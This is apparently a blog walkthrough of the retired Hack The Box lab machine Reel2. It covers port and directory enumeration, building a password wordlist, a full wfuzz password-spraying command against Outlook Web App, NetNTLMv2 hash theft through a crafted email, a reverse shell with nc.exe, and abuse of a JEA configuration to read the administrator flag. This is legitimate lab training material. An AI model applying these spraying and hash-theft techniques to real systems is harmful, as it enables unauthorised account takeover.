This post documents the complete walkthrough of Reel2, a retired vulnerable VM created by cube0x0, and hosted at Hack The Box. If you are uncomfortable with spoilers, please stop reading now.

On this post

Background

Reel2 is a retired vulnerable VM from Hack The Box.

Information Gathering

Let’s start with a masscan probe to establish the open ports in the host.

# masscan -e tun0 -p1-65535,U:1-65535 10.10.10.210 --rate=500

Starting masscan 1.0.5 (http://bit.ly/14GZzcT) at 2020-10-08 13:59:42 GMT
 -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 80/tcp on 10.10.10.210
Discovered open port 6010/tcp on 10.10.10.210
Discovered open port 6198/tcp on 10.10.10.210
Discovered open port 6245/tcp on 10.10.10.210
Discovered open port 6115/tcp on 10.10.10.210
Discovered open port 6002/tcp on 10.10.10.210
Discovered open port 6220/tcp on 10.10.10.210
Discovered open port 5985/tcp on 10.10.10.210
Discovered open port 6279/tcp on 10.10.10.210
Discovered open port 6012/tcp on 10.10.10.210
Discovered open port 6221/tcp on 10.10.10.210
Discovered open port 6167/tcp on 10.10.10.210
Discovered open port 6001/tcp on 10.10.10.210
Discovered open port 6287/tcp on 10.10.10.210
Discovered open port 8080/tcp on 10.10.10.210
Discovered open port 6243/tcp on 10.10.10.210
Discovered open port 6307/tcp on 10.10.10.210
Discovered open port 6004/tcp on 10.10.10.210
Discovered open port 6250/tcp on 10.10.10.210
Discovered open port 6007/tcp on 10.10.10.210
Discovered open port 6317/tcp on 10.10.10.210
Discovered open port 6006/tcp on 10.10.10.210
Discovered open port 6270/tcp on 10.10.10.210
Discovered open port 6008/tcp on 10.10.10.210
Discovered open port 443/tcp on 10.10.10.210
Discovered open port 6276/tcp on 10.10.10.210
Discovered open port 6192/tcp on 10.10.10.210
Discovered open port 6011/tcp on 10.10.10.210
Discovered open port 6274/tcp on 10.10.10.210
Discovered open port 6234/tcp on 10.10.10.210
Discovered open port 6199/tcp on 10.10.10.210
Discovered open port 6301/tcp on 10.10.10.210
Discovered open port 6005/tcp on 10.10.10.210

Whoa, that’s a lot of open ports. Let’s do one better with nmap scanning the discovered ports to establish their services.

# nmap -n -v -Pn -p80,443,5985,6001,6002,6004,6005,6006,6007,6008,6010,6011,6012,6115,6167,6192,6198,6199,6220,6221,6234,62
43,6245,6250,6270,6274,6276,6279,6287,6301,6307,6317,8080 -A --reason 10.10.10.210 -oN nmap.txt
...
PORT     STATE SERVICE    REASON          VERSION                                                                                                              
80/tcp   open  http       syn-ack ttl 127 Microsoft IIS httpd 8.5
|_http-server-header: Microsoft-IIS/8.5
|_http-title: 403 - Forbidden: Access is denied.
443/tcp  open  ssl/https? syn-ack ttl 127
|_ssl-date: 2020-10-08T14:11:23+00:00; 0s from scanner time.
5985/tcp open  http       syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
6001/tcp open  ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
6002/tcp open  ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
6004/tcp open  ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
6005/tcp open  msrpc      syn-ack ttl 127 Microsoft Windows RPC
6006/tcp open  msrpc      syn-ack ttl 127 Microsoft Windows RPC
6007/tcp open  msrpc      syn-ack ttl 127 Microsoft Windows RPC
6008/tcp open  msrpc      syn-ack ttl 127 Microsoft Windows RPC
6010/tcp open  ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
6011/tcp open  msrpc      syn-ack ttl 127 Microsoft Windows RPC
6012/tcp open  msrpc      syn-ack ttl 127 Microsoft Windows RPC
6115/tcp open  msrpc      syn-ack ttl 127 Microsoft Windows RPC
6167/tcp open  msrpc      syn-ack ttl 127 Microsoft Windows RPC
6192/tcp open  msrpc      syn-ack ttl 127 Microsoft Windows RPC
6198/tcp open  msrpc      syn-ack ttl 127 Microsoft Windows RPC
6199/tcp open  ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
6220/tcp open  msrpc      syn-ack ttl 127 Microsoft Windows RPC
6221/tcp open  msrpc      syn-ack ttl 127 Microsoft Windows RPC
6234/tcp open  msrpc      syn-ack ttl 127 Microsoft Windows RPC
6243/tcp open  msrpc      syn-ack ttl 127 Microsoft Windows RPC
6245/tcp open  msrpc      syn-ack ttl 127 Microsoft Windows RPC
6250/tcp open  msrpc      syn-ack ttl 127 Microsoft Windows RPC
6270/tcp open  msrpc      syn-ack ttl 127 Microsoft Windows RPC
6274/tcp open  msrpc      syn-ack ttl 127 Microsoft Windows RPC
6276/tcp open  msrpc      syn-ack ttl 127 Microsoft Windows RPC
6279/tcp open  msrpc      syn-ack ttl 127 Microsoft Windows RPC
6287/tcp open  msrpc      syn-ack ttl 127 Microsoft Windows RPC
6301/tcp open  msrpc      syn-ack ttl 127 Microsoft Windows RPC
6307/tcp open  msrpc      syn-ack ttl 127 Microsoft Windows RPC
6317/tcp open  msrpc      syn-ack ttl 127 Microsoft Windows RPC
8080/tcp open  http       syn-ack ttl 127 Apache httpd 2.4.43 ((Win64) OpenSSL/1.1.1g PHP/7.2.32)
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_      httponly flag not set
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: Apache/2.4.43 (Win64) OpenSSL/1.1.1g PHP/7.2.32
|_http-title: Welcome | Wallstant

Yeah, it’s a Windows machine alright.

SSL Certificate

Check out the SSL certificate for possible hostnames.

I’d better put Reel2, Reel2.htb and Reel2.htb.local into /etc/hosts.

Directory/File Enumeration

Let’s see what gobuster and SecLists can uncover for us for each of the http services.

80/tcp

# gobuster dir -w /usr/share/seclists/Discovery/Web-Content/raft-small-directories-lowercase.txt -t 20 -e -s 200,301,302 -u http://Reel2/
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://Reel2/
[+] Threads:        20
[+] Wordlist:       /usr/share/seclists/Discovery/Web-Content/raft-small-directories-lowercase.txt
[+] Status codes:   200,301,302
[+] User Agent:     gobuster/3.0.1
[+] Expanded:       true
[+] Timeout:        10s
===============================================================
2020/10/09 10:06:44 Starting gobuster
===============================================================
http://Reel2/owa (Status: 301)
===============================================================
2020/10/09 10:06:49 Finished
===============================================================

443/tcp

# gobuster dir -k -w /usr/share/seclists/Discovery/Web-Content/raft-small-directories-lowercase.txt -t 20 -e -s 200,301,302 -u https://Reel2/
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            https://Reel2/
[+] Threads:        20
[+] Wordlist:       /usr/share/seclists/Discovery/Web-Content/raft-small-directories-lowercase.txt
[+] Status codes:   200,301,302
[+] User Agent:     gobuster/3.0.1
[+] Expanded:       true
[+] Timeout:        10s
===============================================================
2020/10/09 10:07:23 Starting gobuster
===============================================================
https://Reel2/aspnet_client (Status: 301)
https://Reel2/public (Status: 302)
https://Reel2/exchange (Status: 302)
https://Reel2/owa (Status: 301)
https://Reel2/autodiscover (Status: 301)
https://Reel2/ecp (Status: 301)
===============================================================
2020/10/09 10:07:29 Finished
===============================================================

Looks like we have Outlook Web App running. I thought it looked like an older version.

8080/tcp

# gobuster dir -w /usr/share/seclists/Discovery/Web-Content/raft-small-directories-lowercase.txt -t 20 -e -s 200,301,302 -u http://Reel2:8080/
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://Reel2:8080/
[+] Threads:        20
[+] Wordlist:       /usr/share/seclists/Discovery/Web-Content/raft-small-directories-lowercase.txt
[+] Status codes:   200,301,302
[+] User Agent:     gobuster/3.0.1
[+] Expanded:       true
[+] Timeout:        10s
===============================================================
2020/10/09 10:07:48 Starting gobuster
===============================================================
http://Reel2:8080/js (Status: 301)
http://Reel2:8080/includes (Status: 301)
http://Reel2:8080/media (Status: 301)
http://Reel2:8080/login (Status: 200)
http://Reel2:8080/logout (Status: 302)
http://Reel2:8080/page (Status: 301)
http://Reel2:8080/css (Status: 301)
http://Reel2:8080/config (Status: 301)
http://Reel2:8080/home (Status: 302)
http://Reel2:8080/index (Status: 200)
http://Reel2:8080/search (Status: 302)
http://Reel2:8080/imgs (Status: 301)
http://Reel2:8080/signup (Status: 200)
http://Reel2:8080/messages (Status: 301)
http://Reel2:8080/u (Status: 301)
http://Reel2:8080/posts (Status: 301)
http://Reel2:8080/_database (Status: 301)
http://Reel2:8080/langs (Status: 301)
http://Reel2:8080/notifications (Status: 302)
http://Reel2:8080/settings (Status: 302)
===============================================================
2020/10/09 10:08:08 Finished
===============================================================

And Wallstant too.

Scraping credentials

According to Wallstant,

When you sign up to the first time into your social network, you will be the main admin of website and you can add more admins from Dashboard > users > Edit/Delete.

I’m pretty sure I’ll not be the fist to sign up :laughing: Well, here’s what you get after signing up.

Notice the user profile pages on the right? Looks like usernames to me. Here’s a list based on popular first name, last name conventions. Typing them out is a lot faster than writing a script to generate them. :laughing:

usernames.txt
sven.svensson
sven_svensson
s.svensson
s_svensson
sven.s
sven_s
lars.larsson
lars_larsson
l.larsson
l_larsson
lars.l
lars_l
jenny.adams
jenny_adams
j.adams
j_adams
jenny.a
jenny_a
teresa.trump
terasa_trump
t.trump
t_trump
teresa.t
teresa_t

Next up, check out the posts for them passwords. I’ll use keywords from the posts to create a wordlist and apply some JtR rules to it to generate a list of passwords.

wordlist.txt
fika
@egre55
summer
hot!

I’m using KoreLogicRulesAppendYears (I’ve updated it to include common birth years from 1900 to 2029).

john.conf
[List.Rules:KoreLogicRulesAppendYears]
cAz"19[0-9][0-9]"
Az"19[0-9][0-9]"
cAz"20[012][0-9]"
Az"20[012][0-9]"

Let’s get to work.

# /opt/john/john --rules:KoreLogicRulesAppendYears -w:wordlist.txt --stdout > passwords.txt
Press 'q' or Ctrl-C to abort, almost any other key for status
1040p 0:00:00:00 100.00% (2020-10-09 11:04) 104000p/s hot!2029

Not too shabby. I got a list of 1,040 passwords.

Password spraying OWA with wfuzz

I’m going to use the credentials (usernames.txt and passwords.txt) above to password-spray OWA with wfuzz, with a total of 24,960 combinations. I have a good feeling about this.

# wfuzz -L -p 127.0.0.1:8080 -w usernames.txt -w passwords.txt -d "destination=https%3A%2F%2Freel2%2Fowa%2Fauth.owa&flags=0&forcedownlevel=0&trusted=0&username=FUZZ&password=FUZ2Z&isUtf8=1" -t 40 --hs "isn't correct" -H "Cookie: PBack=0" https://reel2/owa/auth.owa
********************************************************
* Wfuzz 3.0.1 - The Web Fuzzer                         *
********************************************************

Target: https://reel2/owa/auth.owa
Total requests: 24960

===================================================================
ID           Response   Lines    Word     Chars       Payload                                                                                       
===================================================================

000002963:   400        0 L      2 W      11 Ch       "s.svensson - Summer2020"                                                                     

Total time: 0
Processed Requests: 24960
Filtered Requests: 24959
Requests/sec.: 0

Bingo! Let’s see if it checks out.

Sweet.

Harvesting NetNTLMv2 hashes

Recall the OWA looking old? Turns out that it’s possible to craft an email that allows us to steal NetNTLMv2 hashes without requiring any interaction from the user. Clicking the email to preview it is enough for the hashes to be stolen. For some reason, OWA hates Firefox—I had to use Chromium to send an email to all users in the Global Address List like so.

On the other hand, I had responder running…

Cracking the hash offline is insanely fast.

We have a new pair of credentials (k.svensson:kittycat1).

Foothold

Armed with the credentials (k.svensson:kittycat1), we should be able to use the PowerShell Docker image quickbreach/powershell-ntlm to get ourselves a shell. Note: The usual weapon of choice evil-winrm didn’t work here, neither did pwsh from Kali Linux.

One small problem though. This PowerShell is restricted—common commands isn’t available. Well, we can always use PowerShell scriptblock to bypass that restriction.

Voila! The file user.txt is expectedly at k.svensson’s desktop.

Privilege Escalation

Let’s transfer a copy of nc.exe from Kali Linux to the machine to get rid of the PowerShell command restriction.

Once that’s done we have ourselves another reverse shell.

Just Enough Administration (JEA)

According to Microsoft,

Just Enough Administration (JEA) is a security technology that enables delegated administration for anything managed by PowerShell.

We see that there are two JEA files: a role capability file (.psrc) and a session configuration file (.pssc).

jea_test_account.psrc
@{

# ID used to uniquely identify this document
GUID = '08c0fdac-36ef-43b5-931f-68171c4c8200'

# Author of this document
Author = 'cube0x0'

# Description of the functionality provided by these settings
# Description = ''

# Company associated with this document
CompanyName = 'Unknown'

# Copyright statement for this document
Copyright = '(c) 2020 cube0x0. All rights reserved.'

# Modules to import when applied to a session
# ModulesToImport = 'MyCustomModule', @{ ModuleName = 'MyCustomModule'; ModuleVersion = '1.0.0.0'; GUID = '4d30d5f0-cb16-4898-812d-f20a6c596bdf' }

# Aliases to make visible when applied to a session
# VisibleAliases = 'Item1', 'Item2'

# Cmdlets to make visible when applied to a session
# VisibleCmdlets = 'Invoke-Cmdlet1', @{ Name = 'Invoke-Cmdlet2'; Parameters = @{ Name = 'Parameter1'; ValidateSet = 'Item1', 'Item2' }, @{ Name = 'Parameter2'; ValidatePattern = 'L*' } }

# Functions to make visible when applied to a session
# VisibleFunctions = 'Invoke-Function1', @{ Name = 'Invoke-Function2'; Parameters = @{ Name = 'Parameter1'; ValidateSet = 'Item1', 'Item2' }, @{ Name = 'Parameter2'; ValidatePattern = 'L*' } }

# External commands (scripts and applications) to make visible when applied to a session
# VisibleExternalCommands = 'Item1', 'Item2'

# Providers to make visible when applied to a session
# VisibleProviders = 'Item1', 'Item2'

# Scripts to run when applied to a session
# ScriptsToProcess = 'C:\ConfigData\InitScript1.ps1', 'C:\ConfigData\InitScript2.ps1'

# Aliases to be defined when applied to a session
# AliasDefinitions = @{ Name = 'Alias1'; Value = 'Invoke-Alias1'}, @{ Name = 'Alias2'; Value = 'Invoke-Alias2'}

# Functions to define when applied to a session
FunctionDefinitions = @{
    'Name' = 'Check-File'
    'ScriptBlock' = {param($Path,$ComputerName=$env:COMPUTERNAME) [bool]$Check=$Path -like "D:\*" -or $Path -like "C:\ProgramData\*" ; if($check) {get-content $Path}} }

# Variables to define when applied to a session
# VariableDefinitions = @{ Name = 'Variable1'; Value = { 'Dynamic' + 'InitialValue' } }, @{ Name = 'Variable2'; Value = 'StaticInitialValue' }

# Environment variables to define when applied to a session
# EnvironmentVariables = @{ Variable1 = 'Value1'; Variable2 = 'Value2' }

# Type files (.ps1xml) to load when applied to a session
# TypesToProcess = 'C:\ConfigData\MyTypes.ps1xml', 'C:\ConfigData\OtherTypes.ps1xml'

# Format files (.ps1xml) to load when applied to a session
# FormatsToProcess = 'C:\ConfigData\MyFormats.ps1xml', 'C:\ConfigData\OtherFormats.ps1xml'

# Assemblies to load when applied to a session
# AssembliesToLoad = 'System.Web', 'System.OtherAssembly, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a'

}
jea_test_account.pssc
@{

# Version number of the schema used for this document
SchemaVersion = '2.0.0.0'

# ID used to uniquely identify this document
GUID = 'd6a39756-aa53-4ef6-a74b-37c6a80fd796'

# Author of this document
Author = 'cube0x0'

# Description of the functionality provided by these settings
# Description = ''

# Session type defaults to apply for this session configuration. Can be 'RestrictedRemoteServer' (recommended), 'Empty', or 'Default'
SessionType = 'RestrictedRemoteServer'

# Directory to place session transcripts for this session configuration
# TranscriptDirectory = 'C:\Transcripts\'

# Whether to run this session configuration as the machine's (virtual) administrator account
RunAsVirtualAccount = $true

# Scripts to run when applied to a session
# ScriptsToProcess = 'C:\ConfigData\InitScript1.ps1', 'C:\ConfigData\InitScript2.ps1'

# User roles (security groups), and the role capabilities that should be applied to them when applied to a session
RoleDefinitions = @{
    'htb\jea_test_account' = @{
        'RoleCapabilities' = 'jea_test_account' } }

# Language mode to apply when applied to a session. Can be 'NoLanguage' (recommended), 'RestrictedLanguage', 'ConstrainedLanguage', or 'FullLanguage'
LanguageMode = 'NoLanguage'

}

Looks like jea_test_account has just enough administrative rights to cat contents from D:\* or C:\ProgramData\*. If I had to guess, I would say that I need to find jea_test_account’s password for PS Remoting.

I found a file that contains the string “jea_test_account”.

You know how Windows suck at displaying non-ASCII data, so I transferred a copy of the file over to Linux for a better inspection.

Looks like someone wrote the password of jea_test_account on the Sticky Notes! We now have jea_test_account’s credentials (jea_test_account:[email protected]^%@#1).

Getting root.txt

Armed with the credentials, we can PS-Remote in and since we are running this session as the machine’s (virtual) administrator account, we can create a symbolic link (a hard one, a.k.a Direction Junction) between C:\Users\Administrator\Desktop to C:\ProgramData\<Name>, and read off root.txt directly with Check-File.

Let’s create that hard symbolic link.

And PS-Remote in as jea_test_account.

Finally, read root.txt

:dancer: